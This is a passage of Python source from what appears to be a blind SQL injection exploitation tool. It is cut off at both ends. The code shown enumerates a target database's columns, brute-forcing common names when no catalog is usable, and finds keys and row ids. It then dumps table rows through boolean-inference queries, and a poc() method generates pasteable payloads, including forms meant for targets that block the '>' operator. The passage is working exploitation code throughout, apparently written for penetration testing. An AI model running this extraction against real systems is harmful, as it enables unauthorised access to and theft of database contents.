"""The quoted, optionally schema-scoped table reference used for a dump - the SAME
|
||||
expression for count, key discovery, and row retrieval, so a non-default schema can't
|
||||
make the count query hit a different (unqualified) table than the dump."""
|
||||
qt = self.quoteIdent(table)
|
||||
return "%s.%s" % (self.quoteIdent(schema), qt) if schema is not None else qt
|
||||
|
||||
def _ensureQuoting(self, table):
|
||||
# discover the identifier-quote style using the (known-present) table:
|
||||
# the wrong quote char makes SELECT ... FROM <quoted> error -> reject
|
||||
if self.dialect.identQuote is not None or self.dialect.identQuote is False:
|
||||
return self.dialect.identQuote or None
|
||||
with self._probePhase(): # a wrong quote char makes FROM <quoted> error -> "unusable", not undecided
|
||||
for open_q, close_q in _IDENT_QUOTE:
|
||||
quoted = "%s%s%s" % (open_q, table.replace(close_q, close_q * 2), close_q)
|
||||
if self._exists(quoted):
|
||||
self.dialect.identQuote = (open_q, close_q)
|
||||
return self.dialect.identQuote
|
||||
self.dialect.identQuote = False # sentinel: probed, none worked
|
||||
return None
|
||||
|
||||
def columns(self, table, schema=None, limit=50):
|
||||
"""Enumerate a table's column names (keyset), optionally scoped to `schema`
|
||||
(so identically-named tables in different schemas don't merge columns). Falls
|
||||
back to brute-forcing common column names when no column catalog is usable."""
|
||||
names = None
|
||||
spec = _COLUMN_SPECS.get(self.dialect.catalog)
|
||||
if spec and self._canPage:
|
||||
col, source, wheretmpl = spec[0], spec[1], spec[2]
|
||||
ordcol = spec[3] if len(spec) > 3 else None # catalog's ordinal-position column
|
||||
schemacol = spec[4] if len(spec) > 4 else None # the column source's OWN schema column
|
||||
lit = self.buildLiteral(table)
|
||||
filt = (wheretmpl % lit) if wheretmpl else ""
|
||||
if schema is not None and schemacol: # explicit (e.g. Oracle OWNER, not table_schema)
|
||||
filt += " AND %s=%s" % (schemacol, self.buildLiteral(schema))
|
||||
elif schema is not None and "table_name" in (wheretmpl or ""): # ANSI-shaped filter
|
||||
filt += " AND table_schema=%s" % self.buildLiteral(schema)
|
||||
elif schema is not None and "TABLE_NAME" in (wheretmpl or ""):
|
||||
filt += " AND TABLE_SCHEMA=%s" % self.buildLiteral(schema)
|
||||
where = (" WHERE %s" % filt) if filt else ""
|
||||
# pragma_table_info(%s) takes the table in the source itself
|
||||
source = source % lit if "%s" in source else source
|
||||
names = self._keysetWalk(col, source, where, limit)
|
||||
if names and ordcol:
|
||||
names = self._orderByOrdinal(names, col, source, filt, ordcol)
|
||||
if not names:
|
||||
names = self.bruteColumns(table, schema, limit) # no catalog -> guess the usual names
|
||||
return names
|
||||
|
||||
def _orderByOrdinal(self, names, namecol, source, filt, ordcol):
|
||||
# reorder the enumerated columns by their catalog ordinal so a dump matches the
|
||||
# table's DEFINITION order, not the alphabetical MIN()-keyset order (+1 read per
|
||||
# column). Degrades gracefully: a missing/wrong ordinal sorts last, never crashes.
|
||||
keyed = []
|
||||
for n in names:
|
||||
cond = "%s=%s" % (namecol, self.buildLiteral(n))
|
||||
if filt:
|
||||
cond = "%s AND %s" % (filt, cond)
|
||||
try:
|
||||
o = self.extractInteger("(SELECT MIN(%s) FROM %s WHERE %s)" % (ordcol, source, cond))
|
||||
except (OracleUndecided, OverflowError):
|
||||
o = None
|
||||
keyed.append((o if o is not None else 1 << 30, n))
|
||||
return [n for _, n in sorted(keyed, key=lambda t: (t[0], t[1]))]
|
||||
|
||||
def _discoverKey(self, table, schema=None):
|
||||
# a primary/unique key column, preferred over a physical rowid. keyset needs
|
||||
# MIN() over it and a `> prev` bound, both of which a key column supports.
|
||||
spec = _KEY_SPECS.get(self.dialect.catalog)
|
||||
if not spec:
|
||||
return None
|
||||
source, tcol, ncol, extra = spec
|
||||
filt = "%s=%s" % (tcol, self.buildLiteral(table))
|
||||
if schema is not None:
|
||||
filt += " AND table_schema=%s" % self.buildLiteral(schema)
|
||||
if extra:
|
||||
filt += " AND %s" % extra
|
||||
# take the alphabetically-first key column (deterministic); a compound key
|
||||
# still yields a usable ordering column for the walk
|
||||
keyexpr = "(SELECT MIN(%s) FROM %s WHERE %s)" % (ncol, source, filt)
|
||||
# discovering the key COLUMN NAME is setup, not data - run it inside the probe phase so a
|
||||
# catalog lacking this key structure degrades to "no key" (not fatal) AND so the name does
|
||||
# not surface on the live "retrieved:" feed (it is a column name, not a dumped entry).
|
||||
with self._probePhase():
|
||||
if self._ask("%s IS NOT NULL" % keyexpr):
|
||||
res = self.extractResult(keyexpr) # a key COLUMN NAME becomes SQL -> require an EXACT value
|
||||
if res.exact and res.value: # (a case-ambiguous name could mis-target)
|
||||
return res.value
|
||||
return None
|
||||
|
||||
def columnType(self, expr):
|
||||
"""Coarse type hint: 'numeric' vs 'text'. RELIABLE ONLY ON STRICTLY-TYPED
|
||||
engines (PostgreSQL/Oracle/SQL Server/DB2), where SUM() over a text column
|
||||
errors. Dynamically-typed engines (SQLite, MySQL non-strict) coerce text->0
|
||||
so SUM succeeds - there the hint is unreliable and returns 'unknown' when it
|
||||
can't tell. Not a substitute for reading the catalog's declared type."""
|
||||
sums = self._ask("(SELECT SUM(%s) FROM (SELECT %s) t) IS NOT NULL" % (expr, expr))
|
||||
if not sums:
|
||||
return "text" # SUM errored -> definitely not numeric
|
||||
# SUM worked: real numeric, OR a coercing dynamic engine. disambiguate with a
|
||||
# cheap non-digit check on the first char (via the discovered substring)
|
||||
try:
|
||||
one = self._sub(self._resolveText(expr), 1, 1)
|
||||
if self._ask("%s>='0' AND %s<='9'" % (one, one)) or self._ask("%s='-'" % one):
|
||||
return "numeric"
|
||||
except Exception:
|
||||
pass
|
||||
return "unknown"
|
||||
|
||||
def _classifyUnit(self, keyexpr, qtable):
|
||||
# a key/rowid reads as int (fast extractInteger + numeric bound) or opaque text
|
||||
# (extract + literal bound). DEFAULT TEXT (safe, just slower) - misreading a text or
|
||||
# decimal/float key as int DESTROYS the paging boundary (reviewer: 'a','1' and 1.5,2.5
|
||||
# both broke). 'int' requires an EXACT-INTEGER round-trip, not a mere numeric sort:
|
||||
# - strict engines: `text = <int>` ERRORS -> text (probe phase reads False)
|
||||
# - a decimal/float (1.5) extracts as 2 and `1.5 = 2` is False -> text
|
||||
# - a genuine integer N round-trips `expr = N` -> int
|
||||
# all rendered through the DISCOVERED comparator (_gtNum), never a raw '>='/'<'.
|
||||
q = "(SELECT MIN(%s) FROM %s)" % (keyexpr, qtable)
|
||||
if self._comparator == "membership":
|
||||
return "text" # no ordered numeric compare -> literal-bound text
|
||||
with self._probePhase(): # a numeric comparison on a TEXT key ERRORS on strict engines -> False
|
||||
if not (self._numDefined(q) and self._gtNum(q, -(1 << 62) - 1, 1 << 62)):
|
||||
return "text" # not comparable as a number (or NULL)
|
||||
try:
|
||||
n = self.extractInteger(q) # signed, via the discovered comparator
|
||||
except (OracleUndecided, OverflowError):
|
||||
return "text"
|
||||
# 'int' requires BOTH: (a) numeric equality `q = n` (catches a decimal - 1.5 extracts
|
||||
# as 2 and 1.5 = 2 is false), and (b) the value LOOKS numeric - first char a digit or
|
||||
# '-'. A loose engine coerces text->0 so `'AA' = 0` is spuriously true, but 'AA' starts
|
||||
# with a non-digit; and (b) uses no `=`-to-string (SQLite won't coerce `1 = '1'`).
|
||||
if n is not None and self._ask("(%s)=(%d)" % (q, n)) and self._looksNumeric(q):
|
||||
return "int"
|
||||
return "text"
|
||||
|
||||
def _looksNumeric(self, expr):
|
||||
# first char is a digit or '-' (order-free IN test, so a blocked '>' doesn't matter).
|
||||
# rejects non-digit text a loose engine coerced to 0; no substring to inspect -> can't
|
||||
# refute -> keep the numeric verdict (never break a real int on a substring-less floor).
|
||||
if self.dialect.substring is None:
|
||||
return True
|
||||
try:
|
||||
one = self._sub(self._resolveText(expr), 1, 1)
|
||||
return self._ask("%s IN ('0','1','2','3','4','5','6','7','8','9','-')" % one)
|
||||
except OracleUndecided:
|
||||
return True
|
||||
|
||||
def _discoverRowid(self, qtable):
|
||||
# find a MIN-aggregatable physical row identifier for the (already-quoted)
|
||||
# table; classify int vs opaque text (SQLite rowid is int; Oracle ROWID text).
|
||||
# each candidate is a PROBE: a pseudo-column the engine lacks (ROWID on MSSQL,
|
||||
# ctid off-PG, ...) errors, which must skip to the next candidate, not fail the dump
|
||||
with self._probePhase():
|
||||
for name, tmpl, _unit in _ROWID:
|
||||
rid = tmpl % qtable if "%s" in tmpl else tmpl
|
||||
if not self._ask("(SELECT MIN(%s) FROM %s) IS NOT NULL" % (rid, qtable)):
|
||||
continue
|
||||
unit = self._classifyUnit(rid, qtable)
|
||||
# a physical row-id used as a keyset must be a sane NON-NEGATIVE int;
|
||||
# Informix's `rowid` reads as a bogus negative here -> reject it and fall
|
||||
# through to the value-keyset walk rather than feed extractInteger garbage
|
||||
if unit == "int" and self._comparator == "gt" and \
|
||||
not self._ask("(SELECT MIN(%s) FROM %s)>=0" % (rid, qtable)):
|
||||
continue
|
||||
return Cap(name, rid, unit=unit)
|
||||
return None
|
||||
|
||||
def _keyIsUnique(self, kexpr, qtable, total=None):
|
||||
# a keyset ordering column MUST be single-column unique AND non-NULL, else `> prev`
|
||||
# paging silently DROPS rows: a composite key's first column repeats (skipping the
|
||||
# shared-value rows), and NULL keys sort outside the walk. Verified against the DATA
|
||||
# (COUNT(*) == COUNT(DISTINCT key)) - a NULL key or duplicate makes distinct < total -
|
||||
# so it holds regardless of how the constraint catalog was joined.
|
||||
try:
|
||||
if total is None:
|
||||
total = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable)
|
||||
distinct = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s)" % (kexpr, qtable))
|
||||
except (OracleUndecided, OverflowError):
|
||||
return False
|
||||
return total is not None and distinct is not None and total == distinct
|
||||
|
||||
def _walkKey(self, qtable, table, schema, total=None):
|
||||
# ordering key, best-first: primary/unique key -> physical row-id -> value.
|
||||
# returns (key_expr, unit, source_label, boundfn); boundfn formats a keyset
|
||||
# comparison bound (quoted literal for opaque-typed row-ids, else buildLiteral).
|
||||
key = self._discoverKey(table, schema)
|
||||
if key:
|
||||
kexpr = self.quoteIdent(key)
|
||||
if self._keyIsUnique(kexpr, qtable, total):
|
||||
return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral
|
||||
self.dialect.notes.append("key %s not single-column unique -> row-id/value keyset" % key)
|
||||
rid = self._discoverRowid(qtable)
|
||||
if rid is not None:
|
||||
boundfn = self._lit if rid.name in _ROWID_LITBOUND else self.buildLiteral
|
||||
return rid.template, rid.get("unit"), "rowid:%s" % rid.name, boundfn
|
||||
return None, None, "value", self.buildLiteral
|
||||
|
||||
def _rowPayload(self, cols):
|
||||
# one hex-framed, NULL-PRESERVING token per column. When a length fn + text cast exist,
|
||||
# each token embeds an INDEPENDENT character-length witness and a terminal marker:
|
||||
# V<charlen>:<hex>; (value) N; (SQL NULL)
|
||||
# so a capped/lossy HEX or CONCAT that SHORTENS the value is caught (`_splitRow` rejects a
|
||||
# token whose decoded char count != the declared source length, or whose ';' is missing).
|
||||
# Length counts CHARACTERS -> invariant under a re-encoding cast, and is measured by a
|
||||
# DIFFERENT primitive than hex/concat, so it is not self-certifying. Without a length fn /
|
||||
# cast the plain 'N' / 'V'+hex grammar (',' delimited) is used - framing still works, but
|
||||
# the whole-value length witness is unavailable (noted). Needs hex + concat to frame a row.
|
||||
if not self._ensureHexfn() or not self.dialect.concat:
|
||||
return None, False # can't frame a whole row -> caller scavenges cell-by-cell
|
||||
self._rowLenFramed = bool(self.dialect.length and self.dialect.textcast)
|
||||
if not self._rowLenFramed:
|
||||
self.dialect.notes.append("row framing without a length witness (no length fn/cast) - "
|
||||
"a capped hex/concat could shorten a cell undetected")
|
||||
parts = []
|
||||
for c in cols:
|
||||
qc = self.quoteIdent(c) # column names are identifiers, not raw SQL
|
||||
# text-cast before hex so a numeric/date column yields its TEXT form, not
|
||||
# DBMS-internal storage bytes (SQL Server CAST(1 AS VARBINARY)=00000001)
|
||||
text = self.dialect.textcast[1].format(expr=qc) if self.dialect.textcast else qc
|
||||
hexed = self.dialect.hexfn[1].format(expr=text)
|
||||
if self._rowLenFramed:
|
||||
lenstr = self.dialect.textcast[1].format(expr=self._len(qc)) # source CHAR length as text
|
||||
body = self._concatMany(["'V'", lenstr, "':'", hexed, "';'"])
|
||||
parts.append("CASE WHEN (%s) IS NULL THEN 'N;' ELSE %s END" % (qc, body))
|
||||
else:
|
||||
marked = self.dialect.concat[1].format(a="'V'", b=hexed)
|
||||
parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked))
|
||||
if self._rowLenFramed:
|
||||
return self._concatMany(parts), True # tokens self-terminate with ';'
|
||||
interleaved = [parts[0]]
|
||||
for p in parts[1:]:
|
||||
interleaved.append("','") # the ',' row-token delimiter
|
||||
interleaved.append(p)
|
||||
return self._concatMany(interleaved), True # flat when concat is variadic
|
||||
|
||||
def _cellRow(self, qtable, cols, where):
|
||||
# SCAVENGER row read: pull each column on its own. A single value needs no comma/
|
||||
# marker framing (so no concat) and its NULL is detected directly (so no hex 'N'
|
||||
# sentinel) - this is how a dump still works on a back-end that can neither
|
||||
# concatenate nor hex-encode. Slower (one extraction per cell), but it retrieves.
|
||||
row = []
|
||||
for c in cols:
|
||||
res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (self.quoteIdent(c), qtable, where))
|
||||
if not res.complete:
|
||||
return None, False
|
||||
row.append(res.value)
|
||||
return row, True
|
||||
|
||||
def _splitRow(self, data, ncols):
|
||||
# returns (row, valid); a malformed token count/marker/length means invalid, never
|
||||
# a silently padded/truncated plausible row.
|
||||
# framed cells are hex of a TEXT-CAST value, whose bytes are in the CAST's output charset
|
||||
# (the connection/expression charset - MySQL re-encodes a latin1 column to utf-8 here), so
|
||||
# use the PROVEN hex encoding, NOT the column's declared charset (that governs RAW bytes).
|
||||
if data is None:
|
||||
return None, False
|
||||
# EFFECTIVE encoding: the proven per-expression hex codec, else the discovered charset (now
|
||||
# the CONNECTION charset, which is what the CAST outputs). Same evidence the dump-exactness
|
||||
# check below consumes, so decode and integrity never disagree.
|
||||
enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
|
||||
if getattr(self, "_rowLenFramed", False):
|
||||
# V<charlen>:<hex>; / N; -> every token MUST carry its terminal ';' and (for a value)
|
||||
# decode to EXACTLY the declared source char length; a capped hex/concat fails one.
|
||||
if not data.endswith(";"): # a truncated final token dropped its terminator
|
||||
return None, False
|
||||
toks = data.split(";")
|
||||
if toks and toks[-1] == "":
|
||||
toks = toks[:-1] # drop the trailing terminator
|
||||
if len(toks) != ncols:
|
||||
return None, False # a truncated final token loses its ';' -> count off
|
||||
vals = []
|
||||
for t in toks:
|
||||
if t == "N":
|
||||
vals.append(None)
|
||||
continue
|
||||
if not t.startswith("V") or ":" not in t:
|
||||
return None, False
|
||||
lenpart, _, hexpart = t[1:].partition(":")
|
||||
if not lenpart.isdigit():
|
||||
return None, False
|
||||
v = "" if hexpart == "" else self._decodeHexToken(hexpart, enc)
|
||||
if v is None or len(v) != int(lenpart): # INDEPENDENT length witness: decoded != source
|
||||
return None, False
|
||||
vals.append(v)
|
||||
return vals, True
|
||||
toks = data.split(",") # plain grammar (no length witness available)
|
||||
if len(toks) != ncols:
|
||||
return None, False
|
||||
vals = []
|
||||
for t in toks:
|
||||
if t == "N":
|
||||
vals.append(None)
|
||||
elif t == "V":
|
||||
vals.append("")
|
||||
elif t.startswith("V"):
|
||||
v = self._decodeHexToken(t[1:], enc)
|
||||
if v is None:
|
||||
return None, False
|
||||
vals.append(v)
|
||||
else:
|
||||
return None, False
|
||||
return vals, True
|
||||
|
||||
def dump(self, table, columns=None, schema=None, limit=10):
|
||||
"""Extract actual ROW DATA. Table/column names are treated as quoted
|
||||
IDENTIFIERS (never raw SQL). Optionally scoped to `schema`. Rows are walked
|
||||
by a primary/unique KEY when discoverable, else a physical row-id, else the
|
||||
row's own value (distinct-only); each row is one hex-framed, NULL-preserving,
|
||||
text-cast extraction. Completeness is checked against COUNT(*). Returns
|
||||
{columns, rows, complete, keyed_by}."""
|
||||
self._ensureQuoting(table)
|
||||
qtable = self.qualify(table, schema)
|
||||
cols = columns or self.columns(table, schema)
|
||||
if not cols:
|
||||
return None
|
||||
payload, framed = self._rowPayload(cols)
|
||||
if not framed: # no hex/concat to frame a whole row
|
||||
self.dialect.notes.append("dump %s: no hex/concat framing - scavenging cell-by-cell" % table)
|
||||
try:
|
||||
expected = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable)
|
||||
except (OracleUndecided, OverflowError): # unknown/huge count -> walk up to `limit`, not a failure
|
||||
expected = None
|
||||
if expected == 0:
|
||||
return {"columns": cols, "rows": [], "complete": True, "exact": True, "keyed_by": None}
|
||||
keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema, total=expected)
|
||||
rows, ok = [], True
|
||||
|
||||
def readrow(where):
|
||||
# a whole row: one framed extraction when hex+concat exist, else cell-by-cell. The
|
||||
# framed token carries an INDEPENDENT length witness + terminal marker (see _rowPayload),
|
||||
# so _splitRow rejects a bounded/lossy hex/concat that shortened a cell; a rejected or
|
||||
# errored framed read degrades to cell-by-cell (which reads each cell at its true length,
|
||||
# so it cannot be cast-truncated) rather than dropping the row.
|
||||
if framed:
|
||||
try:
|
||||
res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (payload, qtable, where), codes=_HEX_PAYLOAD_CODES)
|
||||
if res.complete:
|
||||
row, ok2 = self._splitRow(res.value, len(cols))
|
||||
if ok2:
|
||||
return row, ok2
|
||||
except OracleUndecided:
|
||||
pass # framed whole-row read errored -> cell-by-cell
|
||||
return self._cellRow(qtable, cols, where)
|
||||
|
||||
# a best-effort walk must DEGRADE, not crash: an undecided/over-budget probe
|
||||
# (permission or charset wall) stops with whatever rows were recovered
|
||||
try:
|
||||
if keyexpr is not None: # key / row-id keyset (preferred)
|
||||
prev, keys = None, []
|
||||
while len(rows) < limit:
|
||||
if prev is None:
|
||||
where = ""
|
||||
else:
|
||||
beyond = self._beyondSql(keyexpr, prev, unit, seen=keys, boundfn=boundfn)
|
||||
if beyond is None: # no ordered comparator, no IN -> can't page
|
||||
break
|
||||
where = " WHERE %s" % beyond
|
||||
ke = "(SELECT MIN(%s) FROM %s%s)" % (keyexpr, qtable, where)
|
||||
if unit == "int":
|
||||
key = self.extractInteger(ke) # None = NULL (MIN over empty set) = no more rows
|
||||
else:
|
||||
res = self.extractResult(ke) # never page on a partial/unverified key bound
|
||||
if res.is_null: # MIN over empty set -> genuinely done
|
||||
break
|
||||
if not res.complete: # incomplete key can't be a reliable bound
|
||||
ok = False
|
||||
self.dialect.notes.append("dump %s: incomplete key read -> stopped (partial)" % table)
|
||||
break
|
||||
key = res.value # '' is a VALID (single, unique) key row, not a terminator
|
||||
if key is None or key == prev: # None = done; == prev = paging stuck (safety)
|
||||
break
|
||||
bound = key if unit == "int" else boundfn(key)
|
||||
row, valid = readrow("%s=%s" % (keyexpr, bound))
|
||||
if not valid: # a truncated/invalid cell != complete row
|
||||
ok = False
|
||||
break
|
||||
rows.append(row)
|
||||
self._emit(", ".join("NULL" if c is None else c for c in row))
|
||||
prev = key
|
||||
keys.append(key) # for order-free NOT IN() paging
|
||||
else: # value keyset (distinct rows only)
|
||||
ok = False
|
||||
# ACCURATE loss report: a framed page-key is the whole-row tuple, so only
|
||||
# fully-identical rows collapse; a bare first-column page-key collapses every
|
||||
# row that merely shares column 1 (much lossier) - say which, don't blur it
|
||||
# also: MIN() never selects a NULL page-key, so rows with a NULL in the page
|
||||
# column are unreachable by this walk - call that out too (not just collapse)
|
||||
loss = "identical rows collapse" if framed else \
|
||||
"rows sharing column '%s' collapse, and rows with a NULL there are unreachable" % cols[0]
|
||||
self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (%s)" % (table, loss))
|
||||
pageexpr = payload if framed else self.quoteIdent(cols[0])
|
||||
# the framed page-key is text; a bare first-column page-key may be numeric,
|
||||
# and a numeric column MUST be read via extractInteger + a numeric bound - a
|
||||
# text SUBSTR read mangles e.g. Derby's space-padded INT->CHAR into a garbage
|
||||
# bound ("id=' '") that matches no row (dump silently returns 0 entries)
|
||||
pageunit = "text" if framed else self._classifyUnit(pageexpr, qtable)
|
||||
prev, seen = None, []
|
||||
while len(rows) < limit:
|
||||
if prev is None:
|
||||
where = ""
|
||||
else:
|
||||
beyond = self._beyondSql(pageexpr, prev, pageunit, seen=seen)
|
||||
if beyond is None: # no ordered comparator, no IN -> can't page
|
||||
break
|
||||
where = " WHERE %s" % beyond
|
||||
if framed:
|
||||
res = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where), codes=_HEX_PAYLOAD_CODES)
|
||||
pv, valid = res.value, res.complete
|
||||
row, ok2 = self._splitRow(pv, len(cols)) if pv is not None else (None, False)
|
||||
valid = valid and ok2
|
||||
elif pageunit == "int": # numeric first column: read + bound as a number
|
||||
pv = self.extractInteger("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
|
||||
row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, pv)) if pv is not None else (None, False)
|
||||
else: # page on the first (text) column, read cells under it
|
||||
kr = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
|
||||
if kr.is_null: # MIN over empty set -> done
|
||||
break
|
||||
if not kr.complete: # incomplete page bound -> can't page reliably, stop
|
||||
break
|
||||
pv = kr.value # '' is a valid first-column value, not a terminator
|
||||
row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv)))
|
||||
if pv is None or pv == prev or not valid:
|
||||
break
|
||||
rows.append(row)
|
||||
self._emit(", ".join("NULL" if c is None else c for c in row))
|
||||
if isinstance(pv, str) and _REPL in pv: # a corrupt (unrecoverable) text bound can't page reliably; an int bound never carries _REPL
|
||||
break
|
||||
prev = pv
|
||||
seen.append(pv) # for order-free NOT IN() paging
|
||||
except (OracleUndecided, OverflowError):
|
||||
# degrade, never crash: an undecided oracle (permission/charset wall) or a
|
||||
# bogus key that overflows extractInteger stops the walk with partial rows
|
||||
self.dialect.notes.append("dump %s stopped early (oracle undecided / bad key)" % table)
|
||||
ok = False
|
||||
# TWO independent dimensions: `complete` = COVERAGE (every row, extracted cleanly);
|
||||
# `exact` = CONTENT integrity (the recovered bytes are provably the source's). A dump can
|
||||
# cover every row yet hold case/accent-ambiguous cells when the dialect has no byte-exact
|
||||
# primitive (no hex/binary, not code-codepoint) - callers must surface that, not hide it.
|
||||
complete = ok and expected is not None and len(rows) == expected
|
||||
exact = bool(self._byteFaithful())
|
||||
# EFFECTIVE decode codec (same evidence _splitRow uses): a proven hex encoding OR the
|
||||
# discovered charset. Non-ASCII text is provably exact only when that codec is KNOWN -
|
||||
# using the same field for decode AND for the exact verdict, so a proven-utf-8 dump is
|
||||
# NOT falsely inexact, and a decode that fell back to a guess is NOT falsely exact.
|
||||
effenc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
|
||||
note = None
|
||||
if rows and not exact:
|
||||
note = ("dump %s: values recovered via a collation-dependent comparison "
|
||||
"(no byte-exact primitive) - case/accents may be inexact" % table)
|
||||
elif exact and self.dialect.hexfn is not None and not effenc and self._hasNonAscii(rows):
|
||||
# bytes are faithful (hex), but with no PROVEN codec the TEXT reading of non-ASCII
|
||||
# cells is a guess (utf-8 vs a single-byte codepage) -> content is not provably exact
|
||||
exact = False
|
||||
note = ("dump %s: non-ASCII values decoded under an undetermined character set "
|
||||
"- text may be inexact" % table)
|
||||
elif exact and self.dialect.textcast and not self._castPreservesAccents():
|
||||
# bytes are faithful, but they are the output of a text cast NOT proven to preserve a
|
||||
# canary accented char -> a narrowing cast may have folded unrepresentable chars to "?"
|
||||
# at equal length (invisible to the length witness AND to a non-ASCII scan of the
|
||||
# ALREADY-folded output) -> content is not provably source-exact
|
||||
exact = False
|
||||
note = ("dump %s: values extracted through a text cast not proven to preserve accented "
|
||||
"characters (possible lossy/narrowing cast) - content is not provably "
|
||||
"source-exact" % table)
|
||||
if note:
|
||||
self.dialect.notes.append(note)
|
||||
return {"columns": cols, "rows": rows, "complete": complete, "exact": exact, "keyed_by": keyed_by}
|
||||
|
||||
@staticmethod
|
||||
def _hasNonAscii(rows):
|
||||
return any(any(ord(ch) > 127 for ch in v) for row in rows for v in row
|
||||
if isinstance(v, type(u"")))
|
||||
|
||||
def _castPreservesAccents(self):
|
||||
# The framed dump routes every column through the discovered text cast. A NARROWING cast
|
||||
# (Unicode source -> codepage target) substitutes an unrepresentable char ("e"-acute ->
|
||||
# "?") WITHOUT changing the character count, so neither the length witness nor the hex
|
||||
# decode can catch it - the "?" is faithfully hexed and reported as exact. Confirm the
|
||||
# cast preserves a canary accented char (built server-side from its code point, so no raw
|
||||
# byte crosses the transport): if CAST(canary)=canary holds, representable accents survive;
|
||||
# if it folds, the cast is lossy and non-ASCII content is not source-exact. Server-side
|
||||
# equality (not a client decode) sidesteps CHAR() byte-vs-codepoint quirks. Cached;
|
||||
# conservative (False) when a cast is applied but the canary can't be built/decided.
|
||||
if self._castPreserves is None:
|
||||
if not self.dialect.textcast:
|
||||
self._castPreserves = True # no cast applied -> nothing to fold
|
||||
elif (self.dialect.charset or "").replace("-", "").lower().startswith("utf"):
|
||||
# the cast targets the (Unicode) connection/DB charset, which represents EVERY code
|
||||
# point -> no source char can fold. This is a PROOF (not a per-value guess): a
|
||||
# utf-8/16 target cannot substitute an unrepresentable char.
|
||||
self._castPreserves = True
|
||||
else:
|
||||
# an unproven cast must NOT certify source identity: default False, promote only on
|
||||
# a successful preservation probe. The canary needs a TRUE-codepoint constructor - a
|
||||
# byte-based CHAR() (MySQL) yields the two bytes of U+20AC, not the euro char, so it
|
||||
# cannot probe a fold; without one the cast stays unproven (conservatively inexact).
|
||||
self._castPreserves = False
|
||||
cf = self._codeCharTmpl()
|
||||
if cf and self.dialect.length:
|
||||
euro = cf.format(code=0x20AC)
|
||||
ch = cf.format(code=0xE9) # "e"-acute
|
||||
try:
|
||||
with self._probePhase():
|
||||
if self._ask("(%s)=1" % self._len(euro)): # constructor => one codepoint
|
||||
self._castPreserves = self._ask(
|
||||
"(%s)=(%s)" % (self.dialect.textcast[1].format(expr=ch), ch))
|
||||
except OracleUndecided:
|
||||
pass
|
||||
return self._castPreserves
|
||||
|
||||
def poc(self, expr, position=1, gt=64):
|
||||
"""Emit a clean, pasteable boolean payload for ONE probe (the exploitation
|
||||
primitive), so a tester can drop it into Burp without re-running discovery."""
|
||||
one = self._sub(expr, position, 1)
|
||||
if self.dialect.compare == "code" and self.dialect.charcode:
|
||||
# numeric code comparison -> render through the DISCOVERED comparator, so the PoC
|
||||
# works on the very target where '>' was blocked (BETWEEN / operator-free rung)
|
||||
code = self.dialect.charcode[1].format(expr=one)
|
||||
if self._comparator == "gt":
|
||||
return "%s>%d" % (code, gt)
|
||||
if self._comparator == "between":
|
||||
return "%s BETWEEN %d AND %d" % (code, gt + 1, 1 << 62)
|
||||
if self._cmpTemplate is not None:
|
||||
return self._cmpTemplate.format(expr=code, n=gt)
|
||||
raise RuntimeError("ordered PoC unavailable: membership comparator has no '>' form")
|
||||
# hex / collation / ordinal compare strings or wrapped values with '>'; if '>' was
|
||||
# blocked (comparator isn't 'gt') there is NO equivalent renderer for these text modes
|
||||
# -> refuse rather than emit a predicate the target already rejected.
|
||||
if self._comparator != "gt":
|
||||
raise RuntimeError("ordered PoC unavailable: '>' blocked and %s mode has no operator-free form" % self.dialect.compare)
|
||||
if self.dialect.compare == "hex" and self.dialect.hexfn:
|
||||
return "%s>'%02X'" % (self.dialect.hexfn[1].format(expr=one), gt)
|
||||
if self.dialect.compare == "collation" and self.dialect.binwrap:
|
||||
w = self.dialect.binwrap[1]
|
||||
return "%s>%s" % (w.format(x=one), w.format(x=self._lit(chr(gt))))
|
||||
if self.dialect.compare in ("equality", "equality-ci"):
|
||||
# equality mode was chosen BECAUSE ordering isn't trustworthy - don't
|
||||
# fabricate a `>` predicate the target's collation may not honour
|
||||
raise RuntimeError("ordered PoC unavailable in equality-only compare mode")
|
||||
return "%s>%s" % (one, self._lit(chr(gt)))
|
||||
|
||||
def strategy(self):
|
||||
"""Freeze the discovered dialect into an immutable InferenceStrategy - the
|
||||
hand-off artifact for a host inference engine (see hostExtract). Ensures the
|
||||
hex fn and quoting/backslash flags are resolved before freezing."""
|
||||
d = self.dialect
|
||||
if not self._discovered:
|
||||
self.discover()
|
||||
self._ensureHexfn()
|
||||
self._lit("x") # resolve backslash-escape flag
|
||||
return InferenceStrategy(
|
||||
product=d.product or d.family, family=d.family, compare_mode=d.compare,
|
||||
catalog=d.catalog, dual=(d.dual[1] if d.dual else ""), notes=tuple(d.notes),
|
||||
substring=(d.substring[1] if d.substring else None),
|
||||
index_base=(d.substring.get("index_base", 1) if d.substring else 1),
|
||||
length=(d.length[1] if d.length else None),
|
||||
charcode=(d.charcode[1] if d.charcode else None),
|
||||
charcode_sem=(d.charcode.get("semantics") if d.charcode else None),
|
||||
hexfn=(d.hexfn[1] if d.hexfn else None),
|
||||
binwrap=(d.binwrap[1] if d.binwrap else None),
|
||||
charfrom=(d.charfrom[1] if d.charfrom else None),
|
||||
concat=(d.concat[1] if d.concat else None),
|
||||
identquote=(d.identQuote if d.identQuote and d.identQuote is not False else None),
|
||||
backslash=bool(self._backslashEscape),
|
||||
comparator=self._comparator, cmp_template=self._cmpTemplate,
|
||||
# carry the byte-exact witness so the host mirrors the native EXACT/AMBIGUOUS verdict
|
||||
# (plain '='/collation is not byte-exact; only proven hex / binary / codepoint is)
|
||||
exact_witness=("hex" if d.hexfn is not None else
|
||||
